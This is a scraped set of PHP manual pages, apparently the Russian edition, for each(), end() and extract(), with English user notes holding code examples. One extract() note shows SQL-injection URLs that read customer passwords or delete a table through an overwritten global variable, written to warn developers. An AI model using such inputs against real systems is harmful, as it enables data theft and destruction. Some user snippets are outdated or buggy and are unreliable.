nino dot skopac at gmail dot com 02-Jul-2015 01:30
<?php
function each_v2($arr) {
    // same as each() but when it hits end of array, it resets it
    static $i = 0;

    if (isset($arr[$i])) {
        // exists?
        return $arr[$i++];
    } else {
        // reset $i to 0 and repeat
        $i = 0;
        return each_v2($arr);
    }
}
?>
gaviel 18-Mar-2011 03:53
Ok Here's one for iterating multidimensional array .. using foreach

    <?php
        $members = array(
                            "member1" => array (
                                                "First Name" => "Robert",
                                                "Last Name" => "Burton",
                                                "Age" => "20"
                                                ),
                            "member2" => array (
                                                "First Name" => "Cheska",
                                                "Last Name" => "Vladesk",
                                                "Age" => "21"
                                                ),
                            "member3" => array (
                                                "First Name" => "Gino",
                                                "Last Name" => "Marley",
                                                "Age" => "19"
                                                ),
                            "member4" => array (
                                                "First Name" => "Jake",
                                                "Last Name" => "White",
                                                "Age" => "16"
                                                ),
                            );
        $dataSetCount = count($members);
        echo "<h1>There are $dataSetCount members</h1>";

        $i = 0;
        foreach ($members as $each_members) {
            $i++;
            echo "<h2>Member $i</h2>";
                foreach ($each_members as $position => $details) {
                    echo "<b>$position</b>" . ": " . $details . "<br />";
                }
            }
    ?>
massimo dot modica at tin dot it 03-Feb-2010 02:36
If you forget to reset the array before each(), the same code may give different results with different php versions.

<?php

$a = array(1,2,3);

foreach ($a AS $k => $v) $a[$k] = 2*$v;

while(list($k2, $v2) = each($a)) { echo($v2."\n"); }

?>

In PHP 5.2.0:

2
4
6

In PHP 5.2.6:

4
6
php at omit dot ianco dot co dot uk 13-Apr-2008 06:10
I wanted to be able to add to an array while looping through it. foreach does not allow this because it is using a secret copy of the array. each makes this possible (tested on PHP 4).
<?php
$shopping_list = array('oysters', 'caviare');
reset ($shopping_list);
while (list($key, $value) = each ($shopping_list)) {
    if ($value == 'oysters') $shopping_list[] = 'champagne';
    elseif ($value == 'champagne') $shopping_list[] = 'ice';
}
print_r($shopping_list);
// Array ( [0] => oysters [1] => caviare [2] => champagne [3] => ice )
?>
wolfeym38 at yahoo dot com 11-Jun-2007 11:28
Regarding speed of foreach vs while(list) =each
I wrote a benchmark script and the results are that clearly foreach is faster. MUCH faster. Even with huge arrays (especially with huge arrays). I tested with sizes 100,000. 1,000,000 and 10,000,000. To do the test with 10 million i had to set my memory limit real high, it was close to 1gb by the time it actually worked. Anyways,

<?php
function getDiff($start, $end) {
    $s = explode(' ', $start);
    $stot = $s[1] + $s[0];
    $e = explode(' ', $end);
    $etot = $e[1] + $e[0];
    return $etot - $stot;
}

$lim=10000000;
$arr = array();
for ($i=0; $i<$lim; $i++) {
    $arr[$i] = $i/2;
}

$start = microtime();
foreach ($arr as $key=>$val);

$end = microtime();
echo "time for foreach = " . getDiff($start, $end) . ".\n";

reset($arr);
$start = microtime();
while (list($key, $val) = each($arr));
$end = microtime();
echo "time list each = " . getDiff($start, $end) . ".\n";
?>

here are some of my results: with 1,000,000
time for foreach = 0.0244591236115.
time list each = 0.158002853394.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 0.0245339870453.
time list each = 0.154260158539.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 0.0269000530243.
time list each = 0.157305955887.

then with 10,000,000:
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 1.96586894989.
time list each = 14.1371650696.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 2.02504014969.
time list each = 13.7696218491.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 2.0246758461.
time list each = 13.8425710201.

by the way, these results are with php 5.2 i believe, and a linux machine with 3gb of ram and 2.8ghz dual core pentium
michael k (name der redaktion bekannt.) 10-May-2007 12:36
If you want to iterate over a two-dimensional, sparse array, and want to  first display every first element, then every second and so on, you can use this code:

 $fruits = array ( "fruits"  => array ( "a" => "orange",
                                      "b" => "banana",
                                      "c" => "apple"
                                    ),
                 "numbers" => array ( 1,
                                      2,
                                      3,
                                      4,
                                      5,
                                      6
                                    ),
                 "holes"   => array (      "first",
                                      5 => "second",
                                           "third",
                                     10 => "fourth",
                                    )
               );

$done = False;
while ($done == False) {
       $done = True;

       // Important: &$val has to be a reference (use the &),
       // if you don't, the internal counter of $val will be
       // re-initialized each time and you loop over the first elements
       // for eternity.

       foreach($fruits as $key => &$val) {

               if (list($inner_key, $inner_val) = each(&$val)) {
                       $done = False;
                       echo "$key : : $inner_key => $inner_val  <br>  \n";
               }

       }
}

NOTE: this is just a quick hack, if you know a better way, post it!
sjoerd-php at linuxonly dot nl 31-Mar-2006 06:04
Use foreach instead of while, list and each. Foreach is:
- easier to read
- faster
- not influenced by the array pointer, so it does not need reset().

It works like this:
<?php
$arr = array('foo', 'bar');
foreach ($arr as $value) {
    echo "The value is $value.";
}

$arr = array('key' => 'value', 'foo' => 'bar');
foreach ($arr as $key => $value) {
    echo "Key: $key, value: $value";
}
?>
matthew at mhalls dot net 04-Dec-2005 03:58
To panania at 3ringwebs dot com:

If you know for certain that you are only receiving one row, the while becomes redundant. To shorten your code:

$strSQL = "SELECT * FROM table WHERE id=1";
$RecordsetSelect = $db->runQuery ($strSQL);
list($key, $val) = mysql_fetch_row($RecordsetSelect);
echo "$key => $val\n";
mysql_free_result($RecordsetSelect);

With only one row being returned this is more elegant a solution, but just being nit-picky in essence. It also shows another quick way of using list.
amby2 at izh dot com 24-Nov-2005 09:55
I've found a compact way to cycle through an associative array using for statement (not while, as it has been done in the most of examples below):

<?php

for (reset($array); list($key) = each($array);) {
  echo $key;
  echo $array[$key];
}

?>

or

<?php

for (reset($array); list($key, $value) = each($array);) {
  echo $key;
  echo $value;
  echo $array[$key];
}

?>

You hardly forget to add reset($array) code line using such construction.
Sopinon 23-Jul-2005 05:17
If you want to display the hole structure (tree) of your array, then you can use this recursive solution.

<?PHP
$tree= "";
array_tree($your_array);
echo $tree;

// Recursive Function
function array_tree($array, $index=0){
    global $tree;
    $space="";
    for ($i=0;$i<$index;$i++){
        $space .= "     ";
    }
    if(gettype($array)=="array"){
        $index++;
        while (list ($x, $tmp) = each ($array)){
            $tree .= $space."$x => $tmp\n";
            array_tree($tmp, $index);
        }
    }
}
?>
james at gogo dot co dot nz 02-Nov-2004 07:29
It's worth noting that references to an array don't have thier own array pointer, and taking a reference to an array doesn't reset it's array pointer, so this works as you would expect it would by eaching the first three items of the array, rather than the first item 3 times.

<?php
  $x = array(1,2,3);

  print_r(each($x));
  echo "\n";

  $y =& $x;
  print_r(each($y));
  echo "\n";

  $z =& $y;
  print_r(each($z));
  echo "\n";
?>
wodzuY2k at anronet dot pl 04-Aug-2002 12:41
This function will help you dump any variable into XML structure.

        //dump var into simple XML structure
        function var_dump_xml($tagname,$variable,$level=0)
         {
            for($i=0;$i<$level;$i++) $marg.=' ';
            if (eregi('^[0-9].*$',$tagname)) $tagname='tag_'.$tagname; //XML tag cannot start with [0-9] character
            if (is_array($variable))
             {
                echo $marg."<$tagname>\n";
                while (list ($key, $val) = each ($variable))  var_dump_xml($key,$val,$level+1);
                echo $marg."</$tagname>\n";
             }
            elseif (strlen($variable)>0)
             {
                 echo $marg."<$tagname>".htmlspecialchars($variable)."</$tagname>\n";
             };
         };

        /*
        example:

        $myVar = array("name"=>"Joe", "age"=>"26", "children"=>array("Ann","Michael"));
        var_dump_xml("myVarTag",$myVar);
        */
Gillis at dancrea dot com 26-May-2002 10:13
I wrote a short and pretty simple script to search through associative arrays for some value in the values, heres a simplifyed example of it:

<?php

$foo['bob'] = "bob is ugly";
$foo['bill'] = "bill is rich";
$foo['barbie'] = "barbie is cute";
$search = "rich";

echo "searching the array foo for $search:<br>";
reset ($foo);
while (list ($key, $val) = each ($foo)) {
if (preg_match ("/$search/i", $val)) {
    print "A match was found in $key.<br />";
} else {
    print "A match was not found in $key.<br />";
}
}

?>

will output:
Searching the array foo for rich:
A match was not found in bob
A match was found in bill
A match was not found in barbie
13-Feb-2002 04:10
I usually work a lot with 2D arrays. Since I've had some trouble traversing them correctly maybe someone out there also experienced those problems and can use this one.

It's based on a 2D-array called $array[$x][$y]. At some (but not necessarily all) (x,y) there is a value I want to reach. Note that I do not know beforehand the ranges of $x or $y (that is their highest and lowest values).

while (list ($x, $tmp) = each ($array)) {
   while (list ($y, $val) = each ($tmp)) {
      echo "$x, $y, $val";
   }
}

The answer for each (x,y) pair can thus be (providng, of course those values where in your array beforehand):

1, 1, 2
2, 2, 0
3, 1, 1
5, 2, 2
5, 1, 2

Note that only the (x,y) pairs with a corresponding value is shown.

Hang in there
Jon Egil Strand
NTNU
tk at turtle-entertainment dot de 29-Jan-2001 11:33
Be sure to use the integrated functions "unset();" or "reset();" - many people forget this and wonder about the created output!
kris at angelanthony dot com 25-Oct-2000 01:03
Remember to use "reset()" if you iterate over an array with "each()" more than once!  Example:

while(list($key,$value) = each($array)){
 // code here
}

NOW the internal pointer on $array is at the end of the array, and another attempt at an iteration like the one above will result in zero executions of the code within the "while" block.  You MUST call "reset($array)" to reset the internal array pointer before iterating over the array again from the first element.


Устанавливает внутренний указатель массива на последний элемент

  • « each
  • extract »
  • PHP Manual
  • Функции для работы с массивами
  • Устанавливает внутренний указатель массива на последний элемент

end

(PHP 4, PHP 5, PHP 7, PHP 8)

end — Устанавливает внутренний указатель массива на последний элемент

Описание

end(array|object &$array): mixed

Функция end() сдвигает внутренний указатель массива array на последний элемент и возвращает его значение.

Список параметров

array

Массив. Этот массив передаётся по ссылке, поскольку функция изменяет его. Поэтому нужно передать массив как переменную, а не как функцию, которая возвращает массив, поскольку по ссылке допустимо передавать только переменные.

Возвращаемые значения

Возвращает значение последнего элемента или false для пустого массива.

Список изменений

Версия | Описание
8.1.0 | Вызов функции на объекте (object) объявлен устаревшим. Объект (object) либо сначала преобразовывают в массив (array) функцией get_mangled_object_vars(), либо пользуются методами класса, в котором реализовали интерфейс Iterator, например, ArrayIterator.
7.4.0 | Экземпляры классов библиотеки SPL теперь обрабатываются как пустые объекты, у которых нет свойств, вместо вызова метода интерфейса Iterator с тем же именем, что и у этой функция.

Примеры

Пример #1 Пример использования функции end()

<?php

$fruits = array('яблоко', 'банан', 'клюква');
echo end($fruits); // клюква

?>

Смотрите также

  • current() - Возвращает текущий элемент массива
  • each() - Возвращает текущую пару ключа и значения массива и сдвигает указатель на одну позицию вперёд
  • prev() - Сдвигает внутренний указатель массива на одну позицию назад
  • reset() - Устанавливает внутренний указатель массива на первый элемент
  • next() - Сдвигает внутренний указатель массива на одну позицию вперёд
  • array_key_last() - Получает последний ключ массива

User Contributed Notes

aaaaa976 at gmail dot com 16-Nov-2018 11:12
To get the first element:

    // Get first item.
    foreach ($array as $item) {
        $first = $item;
        break;
    }
    // $first will have the first element.
Aleksandr 28-Apr-2018 04:17
<?php
$A=[1];
print_r($A);
end($A[5]);
print_r($A);
?>

Array
(
    [0] => 1
)
Array
(
    [0] => 1
    [5] =>
)
Jacob 15-Jul-2017 05:55
Attempting to get the value of a key from an empty array through end() will result in NULL instead of throwing an error or warning becuse end() on an empty array results in false:

<?php

$a = ['a' => ['hello' => 'a1','world' => 'a2'],
      'b' => ['hello' => 'b1','world' => 'b2'],
      'c' => ['hello' => 'c1','world' => 'c2']
    ];
$b = [];

var_dump(end($a)['hello']);
var_dump(end($b)['hello']);
var_dump(false['hello']);

?>

Results in:

string(2) "c1"
NULL
NULL
Omolewa stephen 24-Oct-2016 06:16
I found using pathinfo very useful in getting extension of  a file.
<? Php
  $filename = dictionary.txt;
   $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)) ;

echo $ext; // txt
?>
goran 14-May-2016 05:16
In case you need add separator at end

$numbers = array('1','2','3','4');
        foreach ($numbers as $number){
            echo $number;
            if (end($numbers) != $number){
                echo ', ';
            }
        }
ivijan dot stefan at gmail dot com 08-May-2014 04:47
I found that the function end() is the best for finding extensions  on file name. This function cleans backslashes and takes the extension of a file.

<?php
private function extension($str){
    $str=implode("",explode("\\",$str));
    $str=explode(".",$str);
    $str=strtolower(end($str));
     return $str;
}

// EXAMPLE:
$file='name-Of_soMe.File.txt';
echo extension($file); // txt
?>

Very simple.
Jason 18-Mar-2013 10:37
$filename = 'somefile.jpg';

php v5.4 does not support the following statement.
echo end(explode(".", $filename)); // return jpg string

instead you have to split into 2 statements
$file = explode(".", $filename);
echo end ($file);
jorge at REMOVETHIS-2upmedia dot com 01-Mar-2012 01:20
If all you want is the last item of the array without affecting the internal array pointer just do the following:

<?php

function endc( $array ) { return end( $array ); }

$items = array( 'one', 'two', 'three' );
$lastItem = endc( $items ); // three
$current = current( $items ); // one
?>

This works because the parameter to the function is being sent as a copy, not as a reference to the original variable.
franz at develophp dot org 01-Dec-2010 03:06
It's interesting to note that when creating an array with numeric keys in no particular order, end() will still only return the value that was the last one to be created. So, if you have something like this:

    <?php
    $a = array();
    $a[1] = 1;
    $a[0] = 0;
    echo end($a);
    ?>

This will print "0".
laurence at crazypillstudios dot com 07-Jun-2010 02:12
this is a function to move items in an array up or down in the array. it is done by breaking the array into two separate arrays and then have a loop creates the final array adding the item we want to move when the counter is equal to the new position we established the array key, position and direction were passed via a query string

<?php
//parameters
//$array- the array you are modifying
//$keytomove - the key of the item you wish to move
//$pos - the current position of the item: used a count($array) function
//and then loop with incrementing integer to add the position to the up //or down button
//$dir - the direction you want to move it - "up"/"dn"

function change_pos($array, $keytomove, $pos, $dir){
    //count the original number of rows
    $count = count($array);
    //set the integer we will use to place the moved item
    if($dir=="up"){
        if($pos==1){
            //if the item is already first and we try moving it up
            //we send it to the end of the array
            $change = $count;
        }else{
            //anywhere else it just moves back one closer to the start of the array
            $change = $pos-1;
        }
    }
    //do the same for the down button
    if($dir=="dn"){
        if($pos==$count){
            $change = 1;
        }else{
            $change = $pos+1;
        }
    }
    //copy the element that you wish to move
    $move = $array[$keytomove];
    //delete the original from the main array
    unset($array[$keytomove]);
    //create an array of the names of the values we
    //are not moving
    $preint = 1;
    foreach($array as $c){
        $notmoved["{$preint}"] = $c['name'];
    $preint++;
    }
    //loop through all the elements
    $int = 1;
    while($int<=$count){
        //dynamically change the key of the unmoved item as we increment the counter
        $notmovedkey = $notmoved["$int"];
        //when the counter is equal to the position we want
        //to place the moved entry we pump it into a new array
        if($int==$change){
            $neworder["{$keytomove}"] = $move;
        }
        //add all the other array items if the position number is not met and
        //resume adding them once the moved item is written
        if($contkey!=""){
            $neworder["{$notmovedkey}"] = $array["{$notmovedkey}"];
        }
    $int++;
    }

    return($neworder);
}
?>

This is not too elegant but it works.
Sam Yong - hellclanner at live dot com 23-Aug-2009 05:05
Take note that end() does not recursively set your multiple dimension arrays' pointer to the end.

Take a look at the following:
<?php

// create the array for testing
$a = array();
$i = 0;
while($i++ < 3){
$a[] = array(dechex(crc32(mt_rand())),dechex(crc32('lol'.mt_rand())));
}

// show the array tree
echo '<pre>';var_dump($a);

// set the pointer of $a to the end
end($a);

// get the current element of $a
var_dump(current($a));
// get the current element of the current element of $a
var_dump(current(current($a)));

?>

You will notice that you probably get something like this:

array(3) {
  [0]=>
  array(2) {
    [0]=>
    string(8) "764d8d20"
    [1]=>
    string(8) "85ee186d"
  }
  [1]=>
  array(2) {
    [0]=>
    string(8) "c8c72466"
    [1]=>
    string(8) "a0fdccb2"
  }
  [2]=>
  array(2) {
    [0]=>
    string(8) "3463a31b"
    [1]=>
    string(8) "589f6b63"
  }
}

array(2) {
  [0]=>
  string(8) "3463a31b"
  [1]=>
  string(8) "589f6b63"
}

string(8) "3463a31b"

The array elements' pointer are still at the first one as current. So do take note.
jasper at jtey dot com 11-Jul-2006 12:48
This function returns the value at the end of the array, but you may sometimes be interested in the key at the end of the array, particularly when working with non integer indexed arrays:

<?php
// Returns the key at the end of the array
function endKey($array){
 end($array);
 return key($array);
}
?>

Usage example:
<?php
$a = array("one" => "apple", "two" => "orange", "three" => "pear");
echo endKey($a); // will output "three"
?>
ken at expitrans dot com 27-Oct-2005 09:02
Please note that from version 5.0.4 ==> 5.0.5 that this function now takes an array. This will possibly break some code for instance:

<?php

echo ">> ".end(array_keys(array('x' => 'y')))."\n";

?>

which will return "Fatal error: Only variables can be passed by reference" in version <= 5.0.4 but not in 5.0.5.

If you run into this problem with nested function calls, then an easy workaround is to assign the result from array_keys (or whatever function) to an intermediary variable:

<?php

$x = array_keys(array('x' => 'y'));
echo ">> ".end($x)."\n";

?>
28-Aug-2002 06:34
If you need to get a reference on the first or last element of an array, use these functions because reset() and end() only return you a copy that you cannot dereference directly:

<?php
function first(&$array) {
if (!is_array($array)) return &$array;
if (!count($array)) return null;
reset($array);
return &$array[key($array)];
}

function last(&$array) {
if (!is_array($array)) return &$array;
if (!count($array)) return null;
end($array);
return &$array[key($array)];
}
?>
28-Aug-2002 06:17
When adding an element to an array, it may be interesting to know with which key it was added. Just adding an element does not change the current position in the array, so calling key() won't return the correct key value; you must first position at end() of the array:

<?php
function array_add(&$array, $value) {
$array[] = $value; // add an element
end($array); // important!
return key($array);
}
?>


Импортирует переменные массива в текущую таблицу символов

  • « end
  • in_array »
  • PHP Manual
  • Функции для работы с массивами
  • Импортирует переменные массива в текущую таблицу символов

extract

(PHP 4, PHP 5, PHP 7, PHP 8)

extract — Импортирует переменные массива в текущую таблицу символов

Описание

extract(array &$array, int $flags = EXTR_OVERWRITE, string $prefix = ""): int

Импортирует переменные массива в текущую таблицу символов.

Функция проверяет каждый ключ массива, чтобы увидеть, содержит ли он допустимое имя переменной. Будут также проверены совпадения (коллизии) с существующими переменными в таблице символов.

Внимание

Не вызывайте функцию extract() с ненадёжными данными наподобие пользовательского ввода (например, с суперглобальными переменными $_GET, $_FILES).

Список параметров

array

Ассоциативный массив. Функция трактует ключи массива как имена переменных, а значения — как значения переменных. Для каждой пары ключ/значение будет создана переменная в текущей таблице символов с учётом флагов (flags) и параметров префикса (prefix).

Без флагов EXTR_PREFIX_ALL или EXTR_PREFIX_INVALID функция работает только с ассоциативными массивами; индексный массив не даст результатов.

flags

Параметр flags определяет способ трактовки неправильных/числовых ключей и коллизий. Разрешено указывать одно из следующих значений:

EXTR_OVERWRITE
Если переменная с таким именем существует, она будет перезаписана.
EXTR_SKIP
Если переменная с таким именем существует, её текущее значение не будет перезаписано.
EXTR_PREFIX_SAME
Если переменная с таким именем существует, к её имени будет добавлен префикс, определённый параметром prefix.
EXTR_PREFIX_ALL
Добавить префикс prefix ко всем именам переменных.
EXTR_PREFIX_INVALID
Добавить префикс prefix только к некорректным/числовым именам переменных.
EXTR_IF_EXISTS
Перезаписать только те переменные, которые содержатся в текущей таблице символов, иначе ничего не делать. Это полезно для определения списка допустимых переменных и извлечения только тех из них, которые разработчик уже определил, например, из массива наподобие $_REQUEST.
EXTR_PREFIX_IF_EXISTS
Создать только префикс-версии переменных, если версия переменной без префикса уже содержится в текущей таблице символов.
EXTR_REFS
Извлечь переменные как ссылки. Это фактически означает, что значения импортированных переменных всё ещё будут ссылаться на значения массива array. Разрешено указывать этот флаг отдельно или комбинировать его с другими значениями параметра flags через побитовое «ИЛИ».

Если параметр flags не задан, он трактуется как флаг EXTR_OVERWRITE.

prefix

Обратите внимание, что префикс (prefix) нужен, только если параметру flags установлено значение EXTR_PREFIX_SAME, EXTR_PREFIX_ALL, EXTR_PREFIX_INVALID или EXTR_PREFIX_IF_EXISTS. Если в результате добавления префикса не будет получено допустимое имя переменной, она не будет импортирована в текущую таблицу символов.

Возвращаемые значения

Возвращает количество переменных, успешно импортированных в таблицу символов.

Примеры

Пример #1 Пример использования функции extract()

Функцию extract() также вызывают для импорта в таблицу символов переменных, содержащихся в ассоциативном массиве, возвращаемом функцией wddx_deserialize().

<?php

/* Предположим, что переменная $var_array — это массив, который вернула
функция wddx_deserialize */

$size = "large";
$var_array = array(
"color" => "blue",
"size" => "medium",
"shape" => "sphere"
);
extract($var_array, EXTR_PREFIX_SAME, "wddx");

echo "$color, $size, $shape, $wddx_size\n";

?>

Результат выполнения приведённого примера:

blue, large, sphere, medium

Переменная $size не была перезаписана, потому что был установлен флаг EXTR_PREFIX_SAME, поэтому была создана переменная $wddx_size. Если был бы определён флаг EXTR_SKIP, тогда переменная $wddx_size не была бы создана. Флаг EXTR_OVERWRITE привёл бы к тому, что переменной $size было бы присвоено значение «medium», а флаг EXTR_PREFIX_ALL был бы причиной того, что были бы созданы переменные $wddx_color, $wddx_size и $wddx_shape.

Примечания

Внимание

Не стоит вызывать функцию extract() с ненадёжными данными наподобие пользовательского ввода (например, с суперглобальными переменными $_GET, $_FILES). Когда это всё-таки делают, проверяют, что значение параметра flags задано неперезаписывающим флагом наподобие EXTR_SKIP, и помнят, что переменные нужно извлекать в том же порядке, который определён в директиве variables_order файла php.ini.

Смотрите также

  • compact() - Создаёт массив, содержащий названия переменных и их значения
  • list() - Присваивает переменным значения похожим на массивы синтаксисом

User Contributed Notes

darrenforster99 at gmail dot com 22-Apr-2021 07:38
In response to Dan O'Donnell's note:

"Presumably one easy way of dealing with this security issue is to use the EXTR_IF_EXISTS flag and make sure"

Not necessarily - even using the EXTR_IF_EXISTS flag could be extremely dangerous - imagine this code running...

<?php

global $sql ;

function runSql ()
{
  $result = $conn->query($sql);
  $conn-> close();
  return $result;
}

function extractGet ()
{
  $name = '' ;
  $address = '' ;
  foreach ( $_GET as $key => $value )
    $_GET[$key] = urldecode ( $value ) ;
  extract($_GET,EXTR_IF_EXISTS);
  $sql = str_replace ( '{NAME}', $name, $sql ) ;
  $sql = str_replace ( '{ADDRESS}', $address, $sql ) ;
}

function outputResult ( $res )
{
  echo '<pre>'.print_r ( $res->fetch_array(MYSQLI_NUM) ).'</pre>' ;
}

$sql = 'SELECT postcode FROM Customers WHERE name={NAME} AND address={ADDRESS}';
extractGet () ;
$res = runSql () ;
outputResult ( $res ) ;
?>

Now can you see a massive security issue here...

seems all well and good if we had a url like

mycode.php?name=joe%20bloggs&address=20%20Any%20Street

as that would specifically find joe bloggs of 20 any street.

however what if someone typed in

mycode.php?sql=SELECT%20password%20FROM%20Customers

or even worse

mycode.php?sql=DELETE%20from%20Customers

The problem here is that even though as far as you're aware you defined both name and address as the only two empty variables within that function - you may have forgotten about global variables, and these global variables could cause major security issues

In the example above $sql is defined as "SELECT postcode FROM Customers WHERE name={NAME} AND address={ADDRESS}" which seems all well and good, and safe, and then later on str_replace in the extractGet function replaces {NAME} and {ADDRESS} with the name and address variables from $_GET - but if GET contains an SQL variable then that would overwrite the global $sql variable before the str_replace function - and if the str_replace function finds no matches it just returns the original string - in the above two examples the SQL string would be "SELECT password FROM Customers" which in the example outputResult just prints the data retrieved from the database and so in this stage it could print all the customers passwords (hopefully encrypted!) to the screen (oops!) or in the second example the SQL string would be "DELETE from Customers" - with no WHERE clause that would delete all the data from the Customers table and of course a combination of

SELECT table_name FROM information_schema.tables

and

DROP TABLE <table_name>

could be a real disaster!

Of course, this is only a basic example, but it could be quite easy to forget about global variables and these global variables could quite easily be used with extract to cause serious security risks if GET, REQUEST or POST is sent to extract!
amolocaleb at gmail dot com 26-Jul-2018 05:14
If an object is typecasted into an array and "extracted",only the public properties will be accessible.Methods are of course omitted.
<?php
class Test{
    public $name = '';

    protected $age = 10;

    public $status = 'disabled';

    private $isTrue = false;

    public function __construct()
    {
        $this->name = 'Amolo';
        $this->status = 'active';
    }

    public function getName()
    {
        return $this->name;
    }

    public function getAge()
    {
        return $this->age;
    }

    public function getStatus()
    {
        return $this->status;
    }

}

$obj = (array) new Test();
var_dump($obj);
/* array(4) { ["name"]=> string(5) "Amolo" ["*age"]=> int(10) ["status"]=> string(6) "active" ["TestisTrue"]=> bool(false) } */
extract((array)new Test());
echo  $name; //Amolo
echo  $status; //active
echo $age;//Notice: Undefined variable: age
echo $isTrue;//Notice: Undefined variable: isTrue
phatsk+php at gmail dot com 18-Jun-2018 06:59
Using extract's return parameter can lead to unintended results, particularly with EXTR_REFS:

<?php

$my_data = [
    'count' => 15,
    'name' => 'foo',
];

$count = extract( $my_data, EXTR_REFS );

echo $my_data['count']; // 2, not 15.
mrkhoa99 at gmail dot com 29-May-2018 03:29
We can use extract () function for Template Engine:

<?php
#Template.php

class Template
{
    protected $viewVars;

    public function renderPage($tpl)
    {
        ob_start();
        extract($this->viewVars, EXTR_SKIP);
        include $tpl;
        return ob_end_flush();
    }

    public function assign($arr)
    {
        foreach ($arr as $key => $value) {
            $this->viewVars[$key] = $value;
        }
        return $this;
    }
}

$template = new Template();
$template->assign(
   [ 'pageHeader' => 'Page Header', 'content' => 'This is the content page']
);
$template->renderPage('tpl.php');

#tpl.php

<h1><?= $pageHeader; ?></h1>
<p><?= $content ;?></p>

Output:

Page Header
This is the content page
bob 18-Jan-2015 08:35
Note that extract() will only create or overwrite variables in the current scope, so
<?
function test(){
 $a=Array('b'=>1,'c'=>2);
 extract($a);
}
test();
exit("$b");
?>
will produce no output, whereas
<?
function test(){
 global $b;
 $a=Array('b'=>1,'c'=>2);
 extract($a);
}
test();
exit("$b");
?>
will output 1.
dmikam 18-Sep-2014 10:18
I have made some tests to compare the speed of next constructions:
<?php

extract($ARRAY);

// vs.

foreach($ARRAY as $key=>$value)
    $$key = $value;
?>

Surprisingly for me extract is 20%-80% slower then foreach construction. I don't really understand why, but it's so.
CertaiN 10-Jan-2014 04:38
[New Version]

Example Usage:
<?php
$_GET['A']['a'] = '  CORRECT(including some spaces)    ';
$_GET['A']['b'] = '  CORRECT(including some spaces)    ';
$_GET['A']['c'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['A']['d']['invalid_structure'] = 'INVALID';

$_GET['B']['a'] = '  CORRECT(including some spaces)    ';
$_GET['B']['b'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['B']['c']['invalid_structure'] = 'INVALID';
$_GET['B']["Invalid UTF-8 sequence: \xe3\xe3\xe3"] = 'INVALID';

$_GET['C']['a'] = '  CORRECT(including some spaces)    ';
$_GET['C']['b'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['C']['c']['invalid_structure'] = 'INVALID';
$_GET['C']["Invalid UTF-8 sequence: \xe3\xe3\xe3"] = 'INVALID';

$_GET['unneeded_item'] = 'UNNEEDED';

var_dump(filter_struct_utf8(INPUT_GET, array(
    'A' => array(
        'a' => '',
        'b' => FILTER_STRUCT_TRIM,
        'c' => '',
        'd' => '',
    ),
    'B' => FILTER_STRUCT_FORCE_ARRAY,
    'C' => FILTER_STRUCT_FORCE_ARRAY | FILTER_STRUCT_TRIM,
)));
?>

Example Result:
array(3) {
  ["A"]=>
  array(4) {
    ["a"]=>
    string(36) "  CORRECT(including some spaces)    "
    ["b"]=>
    string(30) "CORRECT(including some spaces)"
    ["c"]=>
    string(0) ""
    ["d"]=>
    string(0) ""
  }
  ["B"]=>
  array(3) {
    ["a"]=>
    string(36) "  CORRECT(including some spaces)    "
    ["b"]=>
    string(0) ""
    ["c"]=>
    string(0) ""
  }
  ["C"]=>
  array(3) {
    ["a"]=>
    string(30) "CORRECT(including some spaces)"
    ["b"]=>
    string(0) ""
    ["c"]=>
    string(0) ""
  }
}
CertaiN 10-Jan-2014 04:37
[New Version]
This function is very useful for filtering complicated array structure.
Also, Some integer bitmasks and invalid UTF-8 sequence detection are available.

Code:
<?php
/**
 * @param  integer $type    Constant like INPUT_XXX.
 * @param  array   $default Default structure of the specified super global var.
 *                          Following bitmasks are available:
 *  + FILTER_STRUCT_FORCE_ARRAY - Force 1 dimensional array.
 *  + FILTER_STRUCT_TRIM        - Trim by ASCII control chars.
 *  + FILTER_STRUCT_FULL_TRIM   - Trim by ASCII control chars,
 *                                full-width and no-break space.
 * @return array            The value of the filtered super global var.
 */
define('FILTER_STRUCT_FORCE_ARRAY', 1);
define('FILTER_STRUCT_TRIM', 2);
define('FILTER_STRUCT_FULL_TRIM', 4);
function filter_struct_utf8($type, array $default) {
    static $func = __FUNCTION__;
    static $trim = "[\\x0-\x20\x7f]";
    static $ftrim = "[\\x0-\x20\x7f\xc2\xa0\xe3\x80\x80]";
    static $recursive_static = false;
    if (!$recursive = $recursive_static) {
        $types = array(
            INPUT_GET => $_GET,
            INPUT_POST => $_POST,
            INPUT_COOKIE => $_COOKIE,
            INPUT_REQUEST => $_REQUEST,
        );
        if (!isset($types[(int)$type])) {
            throw new LogicException('unknown super global var type');
        }
        $var = $types[(int)$type];
        $recursive_static = true;
    } else {
        $var = $type;
    }
    $ret = array();
    foreach ($default as $key => $value) {
        if ($is_int = is_int($value)) {
            if (!($value | (
                FILTER_STRUCT_FORCE_ARRAY |
                FILTER_STRUCT_FULL_TRIM |
                FILTER_STRUCT_TRIM
            ))) {
                $recursive_static = false;
                throw new LogicException('unknown bitmask');
            }
            if ($value & FILTER_STRUCT_FORCE_ARRAY) {
                $tmp = array();
                if (isset($var[$key])) {
                    foreach ((array)$var[$key] as $k => $v) {
                        if (!preg_match('//u', $k)){
                            continue;
                        }
                        $value &= FILTER_STRUCT_FULL_TRIM | FILTER_STRUCT_TRIM;
                        $tmp += array($k => $value ? $value : '');
                    }
                }
                $value = $tmp;
            }
        }
        if ($isset = isset($var[$key]) and is_array($value)) {
            $ret[$key] = $func($var[$key], $value);
        } elseif (!$isset || is_array($var[$key])) {
            $ret[$key] = null;
        } elseif ($is_int && $value & FILTER_STRUCT_FULL_TRIM) {
            $ret[$key] = preg_replace("/\A{$ftrim}++|{$ftrim}++\z/u", '', $var[$key]);
        } elseif ($is_int && $value & FILTER_STRUCT_TRIM) {
            $ret[$key] = preg_replace("/\A{$trim}++|{$trim}++\z/u", '', $var[$key]);
        } else {
            $ret[$key] = preg_replace('//u', '', $var[$key]);
        }
        if ($ret[$key] === null) {
            $ret[$key] = $is_int ? '' : $value;
        }
    }
    if (!$recursive) {
        $recursive_static = false;
    }
    return $ret;
}
?>
FredLawl 13-May-2013 02:56
